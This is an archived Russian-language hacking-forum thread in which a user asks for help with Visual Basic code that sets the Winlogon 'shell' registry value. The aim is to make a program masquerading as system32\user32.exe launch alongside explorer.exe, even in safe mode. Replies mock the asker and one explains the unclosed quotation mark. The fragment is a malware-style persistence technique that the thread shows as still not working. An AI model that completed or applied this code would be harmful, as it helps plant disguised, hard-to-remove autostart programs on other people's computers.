Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Visual Basic - посоветуйте слово в коде!

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> Visual Basic - посоветуйте слово в коде!
Имя
Сообщение << Старые топики   Новые топики >>
Visual Basic - посоветуйте слово в коде! - 2010-05-01 00:14:10.656666   
i n f e r i o n

Сообщений: 37
Оценки: 0
Присоединился: 2010-04-06 17:38:32.666666
Доброго времени суток!
Хочу добавить в реестр программу, которая будет запускаться автоматически с explorer.exe как в обычном, так и в безопасном режиме.
Код почти готов (эта его часть отвечает за данное действие):

Private Sub Form_Load()
Dim WinDir As String
WinDir = Environ("windir")
SetKeyValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\\shell", "Explorer.exe " + WinDir &amp; "\system32\user32.exe", WinDir &amp; "\system32\user32.exe, REG_SZ 'Запись
End Sub

Но Basic жалуется на выделенное слово! Ошибка: Argument not optional. Мне кажется что его надо заменить, но на что?  Может из-за того что HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\\shell" уже существует? [sm=bc.gif]
Взываю Вас о помощи)
Post #: 1
RE: Visual Basic - посоветуйте слово в коде! - 2010-05-01 15:42:47.796666   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Гугл не работает? - http://msdn.microsoft.com/en-us/library/ms724875.aspx

З.Ы. указанной тобой функции в WinAPI нет, разве что кто-то обвёртку написал. Да и компилятор тебе нормальный текст ошибки выдал.

Man, в очередной раз пишу - читай книги, чтобы не задавать таких вопросов.
Post #: 2
RE: Visual Basic - посоветуйте слово в коде! - 2010-05-01 21:19:29.656666   
i n f e r i o n

Сообщений: 37
Оценки: 0
Присоединился: 2010-04-06 17:38:32.666666
Значит нужное мне действие не выполнимо? [sm=ai.gif][sm=ai.gif][sm=ai.gif]
Post #: 3
RE: Visual Basic - посоветуйте слово в коде! - 2010-05-01 21:23:34.820000   
i n f e r i o n

Сообщений: 37
Оценки: 0
Присоединился: 2010-04-06 17:38:32.666666
А в твоей ссылке всё на английском [sm=ac.gif][sm=bc.gif]
Post #: 4
RE: Visual Basic - посоветуйте слово в коде! - 2010-05-02 00:44:44.123333   
sbk

Сообщений: 144
Оценки: 0
Присоединился: 2008-12-20 19:01:57.273333
Предлагаю топ перенести в шестую палату.
Post #: 5
RE: Visual Basic - посоветуйте слово в коде! - 2010-05-02 10:15:22.230000   
tеstеr

Сообщений: 377
Оценки: -46
Присоединился: 2008-02-08 17:56:40.563333
Argument not optional.
Думаю это означает, что у процедуры есть несколько аргументов и ты установил значения не для всех их них.
1. HKEY_LOCAL_MACHINE,
2. "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\\shell",
3. "Explorer.exe " + WinDir & "\system32\user32.exe",
4. WinDir & "\system32\user32.exe,
5. REG_SZ 'Запись

Как видно в 4-м параметры ты не закрыл двойную кавычку, поэтому 5-й параметр (REG_SZ) вместе с комментарием ('Запись) попал в функцию как значение 4-го параметра (WinDir & "\system32\user32.exe, REG_SZ 'Запись).

А 5-й параметр является обязательным (т.е. он не optional), о чем тебе и сказано в сообщении об ошибке. Мол, давай друг, заполни все параметры.
Post #: 6
RE: Visual Basic - посоветуйте слово в коде! - 2010-05-02 12:42:49.983333   
i n f e r i o n

Сообщений: 37
Оценки: 0
Присоединился: 2010-04-06 17:38:32.666666
Добавил двойную кавычку. Никаких ошибок не бьёт. Но и значение реестра shell не меняется! [sm=bc.gif]
Post #: 7
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> Visual Basic - посоветуйте слово в коде!







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.